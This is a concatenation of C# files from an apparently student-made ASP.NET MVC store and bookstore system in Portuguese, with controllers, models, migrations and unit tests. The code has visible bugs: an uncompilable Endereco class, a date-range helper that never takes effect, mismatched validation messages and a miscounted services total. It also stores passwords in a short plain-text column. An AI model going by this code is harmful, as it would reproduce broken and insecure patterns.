return View("Index", db.Item.OfType<Produto>().Include(p => p.unidadeMedida).Include(m => m.marca).Where(p => p.nome.Contains(pesquisar)).ToList().OrderBy(p => p.nome));
}
[HttpGet]
public JsonResult DropboxUnidadesMedida()
{
var listaUnidadesMedida = db.UnidadeMedida.Select(p => new { p.id, p.unidade, p.simbolo }).OrderBy(p => p.unidade).ToArray();
var obj = new
{
lista = listaUnidadesMedida
};
return Json(obj, "text/html", JsonRequestBehavior.AllowGet);
}
public ActionResult Exportar()
{
List<Produto> produto = new List<Produto>();
produto = db.Item.OfType<Produto>().ToList();
ReportDocument rd = new ReportDocument();
rd.Load(Path.Combine(Server.MapPath("~/Relatorios"), "Produtos.rpt"));
rd.SetDataSource(produto);
Response.Buffer = false;
Response.ClearContent();
Response.ClearHeaders();
Stream stream = rd.ExportToStream(CrystalDecisions.Shared.ExportFormatType.PortableDocFormat);
stream.Seek(0, SeekOrigin.Begin);
return File(stream, "application/pdf", "Produtos.pdf");
}
[HttpGet]
public JsonResult DropboxMarca()
{
var listaMarcas = db.Marca.Select(p => new { p.id, p.nome }).OrderBy(p => p.nome).ToArray();
var obj = new
{
lista = listaMarcas
};
return Json(obj, "text/html", JsonRequestBehavior.AllowGet);
}
private void ConfiguraNomeMarca(Produto produto)
{
if (produto.marca == null)
{
produto.marca = db.Marca.Find(produto.marcaId);
}
produto.marcaNome = produto.marca.id + " - " + produto.marca.nome;
}
private UnidadeMedida RecuperaUnidadeMedida(int? id)
{
if (id != null)
{
UnidadeMedida model = db.UnidadeMedida.Find(id);
return model;
}
return new UnidadeMedida();
}
// GET: Clientes/Details/5
public JsonResult Detalhes(int? id)
{
bool sucesso;
string resultado;
if (id == null)
{
sucesso = false;
resultado = "Não encontrado!";
}
else
{
Produto model = (Produto)db.Item.Find(id);
if (model == null)
{
sucesso = false;
resultado = "Não encontrado!";
}
else
{
if (model.unidadeMedida == null)
{
model.unidadeMedida = db.UnidadeMedida.Find(model.unidadeMedidaId);
}
if (model.marca == null)
{
model.marca = db.Marca.Find(model.marcaId);
}
sucesso = true;
resultado = model.Serializar();
}
}
var obj = new
{
Sucesso = sucesso,
Resultado = resultado
};
return Json(obj, JsonRequestBehavior.AllowGet);
}
// GET: Produtos/Create
public ActionResult Create()
{
ViewBag.unidadeMedidaId = new SelectList(db.UnidadeMedida, "id", "unidade");
return View();
}
// POST: Idiomas/Create
// Para se proteger de mais ataques, ative as propriedades específicas a que você quer se conectar. Para
// obter mais detalhes, consulte https://go.microsoft.com/fwlink/?LinkId=317598.
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Create(Produto model)
{
if (ModelState.IsValid)
{
model.nome = model.nome.ToUpper();
model.ConfigurarParaSalvar();
db.Item.Add(model);
db.SaveChanges();
return RedirectToAction("Index");
}
ViewBag.paisId = new SelectList(db.Pais, "id", "unidade", model.unidadeMedidaId);
return View(model);
}
// GET: Produtos/Edit/5
public ActionResult Edit(int? id)
{
if (id == null)
{
return new HttpStatusCodeResult(HttpStatusCode.BadRequest);
}
Produto produto = (Produto)db.Item.Find(id);
if (produto == null)
{
return HttpNotFound();
}
ViewBag.unidadeMedidaId = new SelectList(db.UnidadeMedida, "id", "unidade", produto.unidadeMedidaId);
this.ConfiguraNomeMarca(produto);
produto.unidadeMedida = this.RecuperaUnidadeMedida(produto.unidadeMedidaId);
return View(produto);
}
// POST: Produtos/Edit/5
// Para se proteger de mais ataques, ative as propriedades específicas a que você quer se conectar. Para
// obter mais detalhes, consulte https://go.microsoft.com/fwlink/?LinkId=317598.
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Edit(Produto produto)
{
if (ModelState.IsValid)
{
produto.nome = produto.nome.ToUpper();
produto.ConfigurarParaSalvar();
db.Entry(produto).State = EntityState.Modified;
db.SaveChanges();
return RedirectToAction("Index");
}
ViewBag.unidadeMedidaId = new SelectList(db.UnidadeMedida, "id", "unidade", produto.unidadeMedidaId);
ViewBag.marcaId = new SelectList(db.Marca, "id", "nome", produto.marcaId);
return View(produto);
}
// GET: Clientes/Delete/5
public JsonResult DeletarRegistro(int? id)
{
if (id != null)
{
Produto produto = (Produto)db.Item.Find(id);
db.Item.Remove(produto);
try
{
db.SaveChanges();
}
catch (DbUpdateException ex)
{
var sqlException = ex.GetBaseException() as SqlException;
if (sqlException != null)
{
return Json(false, JsonRequestBehavior.AllowGet);
}
}
}
return Json(true, JsonRequestBehavior.AllowGet);
}
protected override void Dispose(bool disposing)
{
if (disposing)
{
db.Dispose();
}
base.Dispose(disposing);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.ComponentModel.DataAnnotations.Schema;
using System.Linq;
using System.Web;
namespace Finis.Models
{
public class Item : EntidadeAbstrata
{
public Item()
{
this.quantidadeDisponivel = this.quantidadeEstoque;
}
[Display(Name = "Nome")]
[Required(ErrorMessage = "Por favor insira um nome")]
[StringLength(50, ErrorMessage = "O nome é muito longo")]
public string nome { get; set; }
[Display(Name = "Descrição")]
[StringLength(200, ErrorMessage = "A descrição é muito longa")]
[DataType(DataType.MultilineText)]
public string descricao { get; set; }
[Display(Name = "Preço de Compra")]
[Required(ErrorMessage = "Por favor insira um valor")]
[DisplayFormat(DataFormatString = "{0:n2}",
ApplyFormatInEditMode = true,
NullDisplayText = "Sem preço")]
[Range(0, 500, ErrorMessage = "O preço deverá ser entre 0 e 5000")]
public decimal precoCompra { get; set; }
[Display(Name = "Preço de Venda")]
[Required(ErrorMessage = "Por favor insira um valor")]
[DisplayFormat(DataFormatString = "{0:n2}",
ApplyFormatInEditMode = true,
NullDisplayText = "Sem preço")]
[Range(0, 500, ErrorMessage = "O preço deverá ser entre 0 e 5000")]
public decimal precoVenda { get; set; }
[Display(Name = "Quantidade")]
[DisplayFormat(DataFormatString = "{0}",
ApplyFormatInEditMode = true,
NullDisplayText = "Estoque vazio")]
[Required(ErrorMessage = "Por favor insira a quantidade disponível")]
[Range(0, 5000, ErrorMessage = "A quantidade deverá ser entre 0 e 5000")]
public int quantidadeEstoque { get; set; }
[NotMapped]
public int quantidadeDisponivel { get; set; }
[Display(Name = "Estoque mínimo")]
[DisplayFormat(DataFormatString = "{0}",
ApplyFormatInEditMode = true,
NullDisplayText = "Zero")]
[Range(0, 5000, ErrorMessage = "O estoque mínimo deverá ser entre 0 e 5000")]
public int estoqueMinimo { get; set; }
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Data;
using System.Data.Entity;
using System.Linq;
using System.Net;
using System.Web;
using System.Web.Mvc;
using Finis.DAL;
using Finis.Models;
using CrystalDecisions.CrystalReports.Engine;
using System.IO;
using System.Data.Entity.Infrastructure;
using System.Data.SqlClient;
namespace Finis.Controllers
{
[Authorize(Roles = "Administrador, Funcionário")]
public class UnidadeMedidasController : Controller
{
private Contexto db = new Contexto();
// GET: UnidadeMedidas
public ActionResult Index()
{
return View(db.UnidadeMedida.OrderBy(u => u.grandeza).ToList());
}
public ActionResult Exportar()
{
List<UnidadeMedida> unidadeMedida = new List<UnidadeMedida>();
unidadeMedida = db.UnidadeMedida.ToList();
ReportDocument rd = new ReportDocument();
rd.Load(Path.Combine(Server.MapPath("~/Relatorios"), "UnidadesMedida.rpt"));
rd.SetDataSource(unidadeMedida);
Response.Buffer = false;
Response.ClearContent();
Response.ClearHeaders();
Stream stream = rd.ExportToStream(CrystalDecisions.Shared.ExportFormatType.PortableDocFormat);
stream.Seek(0, SeekOrigin.Begin);
return File(stream, "application/pdf", "UnidadesMedida.pdf");
}
[HttpPost]
public ActionResult Index(string pesquisar)
{
return View("Index", db.UnidadeMedida.Where(c => c.grandeza.Contains(pesquisar)).ToList());
}
// GET: Clientes/Details/5
public JsonResult Detalhes(int? id)
{
bool sucesso;
string resultado;
if (id == null)
{
sucesso = false;
resultado = "Não encontrado!";
}
else
{
UnidadeMedida unidadeMedida = db.UnidadeMedida.Find(id);
if (unidadeMedida == null)
{
sucesso = false;
resultado = "Não encontrado!";
}
else
{
sucesso = true;
resultado = unidadeMedida.Serializar();
}
}
var obj = new
{
Sucesso = sucesso,
Resultado = resultado
};
return Json(obj, JsonRequestBehavior.AllowGet);
}
// GET: UnidadeMedidas/Create
public ActionResult Create()
{
return View();
}
private bool VerificaJaExiste(UnidadeMedida model)
{
List<UnidadeMedida> resultado = new List<UnidadeMedida>();
resultado = db.UnidadeMedida.Where(m => m.grandeza == model.grandeza).ToList();
if (resultado.Count() > 0)
{
return true;
}
return false;
}
// POST: Paises/Create
// Para se proteger de mais ataques, ative as propriedades específicas a que você quer se conectar. Para
// obter mais detalhes, consulte https://go.microsoft.com/fwlink/?LinkId=317598.
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Create(UnidadeMedida model)
{
if (ModelState.IsValid)
{
model.simbolo = model.simbolo.ToUpper();
if (VerificaJaExiste(model))
{
ViewBag.Erro = "Já existe um registro com os valores informados!";
return View(model);
}
model.ConfigurarParaSalvar();
db.UnidadeMedida.Add(model);
db.SaveChanges();
return RedirectToAction("Index");
}
return View(model);
}
// GET: UnidadeMedidas/Edit/5
public ActionResult Edit(int? id)
{
if (id == null)
{
return new HttpStatusCodeResult(HttpStatusCode.BadRequest);
}
UnidadeMedida unidadeMedida = db.UnidadeMedida.Find(id);
if (unidadeMedida == null)
{
return HttpNotFound();
}
return View(unidadeMedida);
}
// POST: Paises/Edit/5
// Para se proteger de mais ataques, ative as propriedades específicas a que você quer se conectar. Para
// obter mais detalhes, consulte https://go.microsoft.com/fwlink/?LinkId=317598.
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Edit(UnidadeMedida model)
{
if (ModelState.IsValid)
{
model.simbolo = model.simbolo.ToUpper();
model.ConfigurarParaSalvar();
db.Entry(model).State = EntityState.Modified;
db.SaveChanges();
return RedirectToAction("Index");
}
return View(model);
}
// GET: Clientes/Delete/5
public JsonResult DeletarRegistro(int? id)
{
if (id != null)
{
UnidadeMedida unidadeMedida = db.UnidadeMedida.Find(id);
db.UnidadeMedida.Remove(unidadeMedida);
try
{
db.SaveChanges();
}
catch (DbUpdateException ex)
{
var sqlException = ex.GetBaseException() as SqlException;
if (sqlException != null)
{
return Json(false, JsonRequestBehavior.AllowGet);
}
}
}
return Json(true, JsonRequestBehavior.AllowGet);
}
protected override void Dispose(bool disposing)
{
if (disposing)
{
db.Dispose();
}
base.Dispose(disposing);
}
}
}
<file_sep>namespace Finis.Migrations
{
using System;
using System.Data.Entity.Migrations;
public partial class alteracao_venda : DbMigration
{
public override void Up()
{
DropForeignKey("dbo.Itens", "VendaId", "dbo.Vendas");
DropIndex("dbo.Itens", new[] { "VendaId" });
CreateTable(
"dbo.ItemVendas",
c => new
{
Item_id = c.Int(nullable: false),
Venda_id = c.Int(nullable: false),
})
.PrimaryKey(t => new { t.Item_id, t.Venda_id })
.ForeignKey("dbo.Itens", t => t.Item_id, cascadeDelete: false)
.ForeignKey("dbo.Vendas", t => t.Venda_id, cascadeDelete: false)
.Index(t => t.Item_id)
.Index(t => t.Venda_id);
DropColumn("dbo.Itens", "VendaId");
}
public override void Down()
{
AddColumn("dbo.Itens", "VendaId", c => c.Int(nullable: false));
DropForeignKey("dbo.ItemVendas", "Venda_id", "dbo.Vendas");
DropForeignKey("dbo.ItemVendas", "Item_id", "dbo.Itens");
DropIndex("dbo.ItemVendas", new[] { "Venda_id" });
DropIndex("dbo.ItemVendas", new[] { "Item_id" });
DropTable("dbo.ItemVendas");
CreateIndex("dbo.Itens", "VendaId");
AddForeignKey("dbo.Itens", "VendaId", "dbo.Vendas", "id", cascadeDelete: true);
}
}
}
<file_sep>using br.com.Sistema.uml.classes de entidades;
namespace br.com.Sistema.uml.classes de entidades
{
public class Endereco
{
private string logadouro;
private string numero;
private string complemento;
private string bairro;
private int cep;
private Cidade cidade;
private Cidade cidade;
private Pessoa pessoa;
private Cidade cidade;
}
}
<file_sep>using Finis.DAL;
using Finis.Models;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
namespace Finis.Controllers
{
[Authorize(Roles = "Administrador, Funcionário, Cliente")]
public class HomeController : Controller
{
private Contexto db = new Contexto();
public ActionResult Index()
{
return View();
}
public JsonResult Totais()
{
int totClientes = db.Cliente.Count();
int totExemplares = db.Item.OfType<Exemplar>().Count();
int totProdutos = db.Item.OfType<Produto>().Count();
int totServicos = db.Item.OfType<Produto>().Count();
var obj = new
{
TotalClientes = totClientes.ToString(),
TotalExemplares = totExemplares.ToString(),
TotalProdutos = totProdutos.ToString(),
TotalServicos = totServicos.ToString()
};
return Json(obj, JsonRequestBehavior.AllowGet);
}
public JsonResult TotalPedidos()
{
int pedidosPendentes = db.Pedido.Where(p => p.situacao == Models.situacaoPedido.PENDENTE).Count();
int pedidosRealizados = db.Pedido.Where(p => p.situacao == Models.situacaoPedido.REALIZADO).Count();
int pedidosAguardando = db.Pedido.Where(p => p.situacao == Models.situacaoPedido.AGUARDANDO_CLIENTE).Count();
int pedidosConcluidos = db.Pedido.Where(p => p.situacao == Models.situacaoPedido.CONCLUIDO).Count();
var obj = new
{
PedidosPendentes = pedidosPendentes.ToString(),
PedidosRealizados = pedidosRealizados.ToString(),
PedidosAguardando = pedidosAguardando.ToString(),
PedidosConcluidos = pedidosConcluidos.ToString()
};
return Json(obj, JsonRequestBehavior.AllowGet);
}
public JsonResult TotalAvaliacoes()
{
int avaliacoesAguardando = db.Avaliacao.Where(p => p.situacao == Models.situacaoAvaliacao.AGUARDANDO_AVALIACAO).Count();
int avaliacoesAvaliado = db.Avaliacao.Where(p => p.situacao == Models.situacaoAvaliacao.AVALIADO).Count();
int avaliacoesAguardCliente = db.Avaliacao.Where(p => p.situacao == Models.situacaoAvaliacao.AGUARDANDO_CLIENTE).Count();
int avaliacoesConcluido = db.Avaliacao.Where(p => p.situacao == Models.situacaoAvaliacao.FINALIZADA).Count();
var obj = new
{
AvaliacoesAguardando = avaliacoesAguardando.ToString(),
AvaliacoesAvaliado = avaliacoesAvaliado.ToString(),
AvaliacoesAguardCliente = avaliacoesAguardCliente.ToString(),
AvaliacoesConcluido = avaliacoesConcluido.ToString()
};
return Json(obj, JsonRequestBehavior.AllowGet);
}
private void ConfiguraInicioFimMes(DateTime primeiroDia, DateTime ultimoDia, int mes)
{
primeiroDia = new DateTime(DateTime.Now.Year, mes, 1);
ultimoDia = new DateTime(DateTime.Now.Year, mes, DateTime.DaysInMonth(DateTime.Now.Year, mes));
}
public JsonResult TotalTransacoes()
{
DateTime dataInicio = DateTime.Today;
DateTime dataFim = dataInicio;
IList<Transacao> listaTransacoes = new List<Transacao>();
IList<TotalTransacao> listaTotais = new List<TotalTransacao>();
int mes = DateTime.Now.Month;
for (int i = 0; i < 12; i++)
{
TotalTransacao totalTransacao = new TotalTransacao();
this.ConfiguraInicioFimMes(dataInicio, dataFim, mes);
totalTransacao.totalEntrada = db.Transacao.Where(t => t.tipoTransacao == Models.TipoTransacao.ENTRADA
&& t.data >= dataInicio
&& t.data <= dataFim).Count();
totalTransacao.totalSaida = db.Transacao.Where(t => t.tipoTransacao == Models.TipoTransacao.SAIDA
&& t.data >= dataInicio
&& t.data <= dataFim).Count();
totalTransacao.mesReferencia = dataInicio;
listaTotais.Add(totalTransacao);
DateTime DtaAux = new DateTime(DateTime.Now.Year, mes, DateTime.Now.Day);
mes = DtaAux.AddMonths(-1).Month;
}
var obj = new
{
lista = listaTotais
};
return Json(obj, JsonRequestBehavior.AllowGet);
}
}
}<file_sep>using Finis.Controllers;
using Finis.Models;
using Microsoft.VisualStudio.TestTools.UnitTesting;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Web.Mvc;
namespace Finis.Testes.Controllers
{
[TestClass]
class ExemplaresControllerTest
{
private Exemplar InicializaExemplar()
{
Exemplar exemplar = new Exemplar
{
titulo = "As Crônicas de Nárnia - Volume Único",
conservacao = Conservacao.NOVO,
isbn = 85782798,
ano = new DateTime(01 / 01 / 2009),
edicao = 3,
precoCompra = 16.00M,
precoVenda = 23.00M,
descricao = "Viagens ao fim do mundo, criaturas fantásticas e batalhas épicas entre o bem e o mal - o que mais um leitor poderia querer de um livro? " +
"O livro que tem tudo isso é ''O leão, a feiticeira e o guarda-roupa'', escrito em 1949 por Clive Staples Lewis. Mas Lewis não parou por aí. Seis outros " +
"livros vieram depois e, juntos, ficaram conhecidos como ''As crônicas de Nárnia''. ",
peso = 1.00M,
vendaOnline = true,
quantidade = 28,
editora = new Editora
{
id = 1,
nome = "WMF <NAME>"
},
idioma = new Idioma
{
id = 1,
nome = "Português",
pais = new Pais { id = 1, nome = "Brasil"}
},
sessao = new Sessao
{
nome = "Infantil"
}
};
return exemplar;
}
[TestMethod]
public void Index()
{
// Arrange
ExemplaresController controller = new ExemplaresController();
// Act
ViewResult result = controller.Index() as ViewResult;
// Assert
Assert.IsNotNull(result);
}
[TestMethod]
public void Create()
{
// Arrange
ExemplaresController controller = new ExemplaresController();
// Act
ViewResult result = controller.Create() as ViewResult;
// Assert
Assert.IsNotNull(result);
Assert.AreEqual("Create", result.ViewName);
}
//Teste deve passar - SUCESSO
[TestMethod]
public void SalvarDevePassar()
{
// Arrange
ExemplaresController controller = new ExemplaresController();
Exception exception = new Exception();
Exemplar exemplar = this.InicializaExemplar();
// Act
ViewResult result = controller.Create(exemplar) as ViewResult;
// Assert
Assert.IsNotNull(result);
ModelState modelState = result.ViewData.ModelState[""];
Assert.IsNotNull(modelState);
Assert.IsTrue(modelState.Errors.Any());
}
//Teste deve falhar - FALHA
//O teste deve falhar pois o modelo de dados enviado a controller não está com os atributos requeridos preenchidos
[TestMethod]
public void SalvarDeveFalharValidacao()
{
// Arrange
ExemplaresController controller = new ExemplaresController();
Exception exception = new Exception();
Exemplar exemplar = new Exemplar();
// Act
ViewResult result = controller.Create(exemplar) as ViewResult;
// Assert
Assert.IsNotNull(result);
ModelState modelState = result.ViewData.ModelState[""];
Assert.IsNotNull(modelState);
Assert.IsTrue(modelState.Errors.Any());
}
//Teste deve falhar - FALHA
//O teste deve falhar pois o modelo de dados enviado a controller está com um dos atributos com valo máx de caracteres excedidos
[TestMethod]
public void SalvarDeveFalharValidacao2()
{
// Arrange
ExemplaresController controller = new ExemplaresController();
Exception exception = new Exception();
Exemplar exemplar = this.InicializaExemplar();
exemplar.titulo = "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Curabitur volutpat ipsum eu ultrices congue. " +
"Pellentesque congue sem vel odio posuere, in cursus neque molestie. Pellentesque facilisis sapien faucibus augue gravida porta.";
// Act
ViewResult result = controller.Create(exemplar) as ViewResult;
// Assert
Assert.IsNotNull(result);
ModelState modelState = result.ViewData.ModelState[""];
Assert.IsNotNull(modelState);
Assert.IsTrue(modelState.Errors.Any());
}
//Teste deve passar - SUCESSO
[TestMethod]
public void DetalhesDevePassar()
{
// Arrange
ExemplaresController controller = new ExemplaresController();
// Act
JsonResult result = controller.Detalhes(1) as JsonResult;
// Assert
Assert.IsNotNull(result);
}
//Teste deve falhar - FALHA
//O teste deve falhar pois o id enviado ao método para exibir detalhes não existe
[TestMethod]
public void DetalhesDeveFalhar()
{
// Arrange
ExemplaresController controller = new ExemplaresController();
// Act
JsonResult result = controller.Detalhes(999) as JsonResult;
// Assert
Assert.IsNotNull(result);
}
//Teste deve passar - SUCESSO
[TestMethod]
public void EditDevePassar()
{
// Arrange
ExemplaresController controller = new ExemplaresController();
// Act
ViewResult result = controller.Edit(1) as ViewResult;
// Assert
Assert.IsNotNull(result);
}
//Teste deve falhar - FALHA
//O teste deve falhar pois o id enviado ao método para editar não existe
[TestMethod]
public void EditDeveFalhar()
{
// Arrange
ExemplaresController controller = new ExemplaresController();
// Act
ViewResult result = controller.Edit(999) as ViewResult;
// Assert
Assert.IsNotNull(result);
}
//Teste deve passar - SUCESSO
[TestMethod]
public void DeletarRegistroDevePassar()
{
// Arrange
ClientesController controller = new ClientesController();
// Act
JsonResult result = controller.DeletarRegistro(1) as JsonResult;
// Assert
Assert.IsNotNull(result);
}
//Teste deve falhar - FALHA
//O teste deve falhar pois o id enviado ao método para deletar não existe
[TestMethod]
public void DeletarRegistroDeveFalharRegistroNaoEncontrado()
{
// Arrange
ClientesController controller = new ClientesController();
// Act
JsonResult result = controller.DeletarRegistro(999) as JsonResult;
// Assert
Assert.IsNotNull(result);
}
}
}
<file_sep>namespace Finis.Migrations
{
using System;
using System.Data.Entity.Migrations;
public partial class Initial : DbMigration
{
public override void Up()
{
CreateTable(
"dbo.Autores",
c => new
{
id = c.Int(nullable: false, identity: true),
nome = c.String(nullable: false, maxLength: 50),
email = c.String(maxLength: 50),
telefone = c.String(maxLength: 15),
celular = c.String(maxLength: 15),
enderecoId = c.Int(nullable: false),
user_insert = c.String(),
user_update = c.String(),
date_insert = c.DateTime(nullable: false),
date_update = c.DateTime(nullable: false),
})
.PrimaryKey(t => t.id)
.ForeignKey("dbo.Enderecos", t => t.enderecoId, cascadeDelete: true)
.Index(t => t.enderecoId);
CreateTable(
"dbo.Enderecos",
c => new
{
id = c.Int(nullable: false, identity: true),
logradouro = c.String(maxLength: 30),
numero = c.Int(nullable: false),
complemento = c.String(maxLength: 30),
bairro = c.String(maxLength: 20),
cep = c.Int(nullable: false),
cidadeId = c.Int(),
user_insert = c.String(),
user_update = c.String(),
date_insert = c.DateTime(nullable: false),
date_update = c.DateTime(nullable: false),
})
.PrimaryKey(t => t.id)
.ForeignKey("dbo.Cidades", t => t.cidadeId)
.Index(t => t.cidadeId);
CreateTable(
"dbo.Cidades",
c => new
{
id = c.Int(nullable: false, identity: true),
nome = c.String(nullable: false, maxLength: 30),
estadoId = c.Int(nullable: false),
user_insert = c.String(),
user_update = c.String(),
date_insert = c.DateTime(nullable: false),
date_update = c.DateTime(nullable: false),
})
.PrimaryKey(t => t.id)
.ForeignKey("dbo.Estados", t => t.estadoId, cascadeDelete: true)
.Index(t => t.estadoId);
CreateTable(
"dbo.Estados",
c => new
{
id = c.Int(nullable: false, identity: true),
nome = c.String(nullable: false, maxLength: 30),
sigla = c.String(nullable: false, maxLength: 2),
paisId = c.Int(nullable: false),
user_insert = c.String(),
user_update = c.String(),
date_insert = c.DateTime(nullable: false),
date_update = c.DateTime(nullable: false),
})
.PrimaryKey(t => t.id)
.ForeignKey("dbo.Paises", t => t.paisId, cascadeDelete: true)
.Index(t => t.paisId);
CreateTable(
"dbo.Paises",
c => new
{
id = c.Int(nullable: false, identity: true),
nome = c.String(nullable: false, maxLength: 30),
sigla = c.String(nullable: false, maxLength: 3),
user_insert = c.String(),
user_update = c.String(),
date_insert = c.DateTime(nullable: false),
date_update = c.DateTime(nullable: false),
})
.PrimaryKey(t => t.id);
CreateTable(
"dbo.Itens",
c => new
{
id = c.Int(nullable: false, identity: true),
nome = c.String(nullable: false, maxLength: 50),
descricao = c.String(maxLength: 200),
precoCompra = c.Decimal(nullable: false, precision: 18, scale: 2),
precoVenda = c.Decimal(nullable: false, precision: 18, scale: 2),
precoTotal = c.Decimal(nullable: false, precision: 18, scale: 2),
quantidade = c.Int(nullable: false),
estoqueMinimo = c.Int(nullable: false),
VendaId = c.Int(nullable: false),
user_insert = c.String(),
user_update = c.String(),
date_insert = c.DateTime(nullable: false),
date_update = c.DateTime(nullable: false),
conservacao = c.Int(),
isbn = c.String(maxLength: 32),
ano = c.Int(),
edicao = c.Int(),
peso = c.Decimal(precision: 18, scale: 2),
vendaOnline = c.Int(),
editoraId = c.Int(),
idiomaId = c.Int(),
sessaoId = c.Int(),
unidadeMedidaId = c.Int(),
marcaId = c.Int(),
Discriminator = c.String(nullable: false, maxLength: 128),
Pedido_id = c.Int(),
})
.PrimaryKey(t => t.id)
.ForeignKey("dbo.Fornecedores", t => t.editoraId, cascadeDelete: true)
.ForeignKey("dbo.Idiomas", t => t.idiomaId, cascadeDelete: true)
.ForeignKey("dbo.Sessoes", t => t.sessaoId, cascadeDelete: true)
.ForeignKey("dbo.Vendas", t => t.VendaId, cascadeDelete: true)
.ForeignKey("dbo.Marcas", t => t.marcaId, cascadeDelete: true)
.ForeignKey("dbo.UnidadesMedida", t => t.unidadeMedidaId, cascadeDelete: true)
.ForeignKey("dbo.Pedidos", t => t.Pedido_id)
.Index(t => t.VendaId)
.Index(t => t.editoraId)
.Index(t => t.idiomaId)
.Index(t => t.sessaoId)
.Index(t => t.unidadeMedidaId)
.Index(t => t.marcaId)
.Index(t => t.Pedido_id);
CreateTable(
"dbo.Fornecedores",
c => new
{
id = c.Int(nullable: false, identity: true),
nome = c.String(maxLength: 50),
cnpj = c.String(maxLength: 50),
telefone = c.String(maxLength: 15),
email = c.String(maxLength: 50),
user_insert = c.String(),
user_update = c.String(),
date_insert = c.DateTime(nullable: false),
date_update = c.DateTime(nullable: false),
Discriminator = c.String(nullable: false, maxLength: 128),
})
.PrimaryKey(t => t.id);
CreateTable(
"dbo.Idiomas",
c => new
{
id = c.Int(nullable: false, identity: true),
nome = c.String(nullable: false, maxLength: 20),
paisId = c.Int(nullable: false),
user_insert = c.String(),
user_update = c.String(),
date_insert = c.DateTime(nullable: false),
date_update = c.DateTime(nullable: false),
})
.PrimaryKey(t => t.id)
.ForeignKey("dbo.Paises", t => t.paisId, cascadeDelete: true)
.Index(t => t.paisId);
CreateTable(
"dbo.Sessoes",
c => new
{
id = c.Int(nullable: false, identity: true),
nome = c.String(nullable: false, maxLength: 20),
user_insert = c.String(),
user_update = c.String(),
date_insert = c.DateTime(nullable: false),
date_update = c.DateTime(nullable: false),
})
.PrimaryKey(t => t.id);
CreateTable(
"dbo.Vendas",
c => new
{
id = c.Int(nullable: false, identity: true),
dataCompra = c.DateTime(nullable: false),
creditoEspecial = c.Decimal(nullable: false, precision: 18, scale: 2),
creditoParcial = c.Decimal(nullable: false, precision: 18, scale: 2),
desconto = c.Decimal(nullable: false, precision: 18, scale: 2),
descontoPorcentagem = c.Int(nullable: false),
subtotal = c.Decimal(nullable: false, precision: 18, scale: 2),
total = c.Decimal(nullable: false, precision: 18, scale: 2),
recebido = c.Decimal(nullable: false, precision: 18, scale: 2),
troco = c.Decimal(nullable: false, precision: 18, scale: 2),
user_insert = c.String(),
user_update = c.String(),
date_insert = c.DateTime(nullable: false),
date_update = c.DateTime(nullable: false),
})
.PrimaryKey(t => t.id);
CreateTable(
"dbo.Marcas",
c => new
{
id = c.Int(nullable: false, identity: true),
nome = c.String(nullable: false, maxLength: 50),
user_insert = c.String(),
user_update = c.String(),
date_insert = c.DateTime(nullable: false),
date_update = c.DateTime(nullable: false),
})
.PrimaryKey(t => t.id);
CreateTable(
"dbo.UnidadesMedida",
c => new
{
id = c.Int(nullable: false, identity: true),
grandeza = c.String(nullable: false, maxLength: 50),
unidade = c.String(nullable: false, maxLength: 20),
simbolo = c.String(nullable: false, maxLength: 3),
user_insert = c.String(),
user_update = c.String(),
date_insert = c.DateTime(nullable: false),
date_update = c.DateTime(nullable: false),
})
.PrimaryKey(t => t.id);
CreateTable(
"dbo.Avaliacoes",
c => new
{
id = c.Int(nullable: false, identity: true),
dataEntrada = c.DateTime(nullable: false),
quantidadeExemplares = c.Int(nullable: false),
creditoEspecial = c.Decimal(precision: 18, scale: 2),
creditoParcial = c.Decimal(precision: 18, scale: 2),
situacao = c.Int(nullable: false),
status = c.Int(nullable: false),
observacao = c.String(maxLength: 200),
clienteId = c.Int(nullable: false),
user_insert = c.String(),
user_update = c.String(),
date_insert = c.DateTime(nullable: false),
date_update = c.DateTime(nullable: false),
})
.PrimaryKey(t => t.id)
.ForeignKey("dbo.Clientes", t => t.clienteId, cascadeDelete: true)
.Index(t => t.clienteId);
CreateTable(
"dbo.Clientes",
c => new
{
id = c.Int(nullable: false, identity: true),
saldoCreditoParcial = c.Decimal(nullable: false, precision: 18, scale: 2),
saldoCreditoEspecial = c.Decimal(nullable: false, precision: 18, scale: 2),
dataNascimento = c.DateTime(nullable: false),
genero = c.Int(nullable: false),
rg = c.String(nullable: false, maxLength: 20),
nome = c.String(nullable: false, maxLength: 50),
email = c.String(maxLength: 50),
telefone = c.String(maxLength: 15),
celular = c.String(maxLength: 15),
enderecoId = c.Int(nullable: false),
user_insert = c.String(),
user_update = c.String(),
date_insert = c.DateTime(nullable: false),
date_update = c.DateTime(nullable: false),
})
.PrimaryKey(t => t.id)
.ForeignKey("dbo.Enderecos", t => t.enderecoId, cascadeDelete: true)
.Index(t => t.enderecoId);
CreateTable(
"dbo.Pedidos",
c => new
{
id = c.Int(nullable: false, identity: true),
clienteId = c.Int(nullable: false),
descricao = c.String(maxLength: 200),
dataPedido = c.DateTime(nullable: false),
situacao = c.Int(nullable: false),
user_insert = c.String(),
user_update = c.String(),
date_insert = c.DateTime(nullable: false),
date_update = c.DateTime(nullable: false),
})
.PrimaryKey(t => t.id)
.ForeignKey("dbo.Clientes", t => t.clienteId, cascadeDelete: true)
.Index(t => t.clienteId);
CreateTable(
"dbo.Transacoes",
c => new
{
id = c.Int(nullable: false, identity: true),
valor = c.Decimal(nullable: false, precision: 18, scale: 2),
data = c.DateTime(nullable: false),
tipoTransacao = c.Int(nullable: false),
tipoCredito = c.Int(nullable: false),
clienteId = c.Int(nullable: false),
user_insert = c.String(),
user_update = c.String(),
date_insert = c.DateTime(nullable: false),
date_update = c.DateTime(nullable: false),
})
.PrimaryKey(t => t.id)
.ForeignKey("dbo.Clientes", t => t.clienteId, cascadeDelete: true)
.Index(t => t.clienteId);
CreateTable(
"dbo.Usuarios",
c => new
{
id = c.Int(nullable: false, identity: true),
email = c.String(maxLength: 50),
senha = c.String(nullable: false, maxLength: 8),
confirmaSenha = c.String(nullable: false, maxLength: 8),
ativo = c.Boolean(nullable: false),
pefil = c.Int(nullable: false),
nome = c.String(nullable: false),
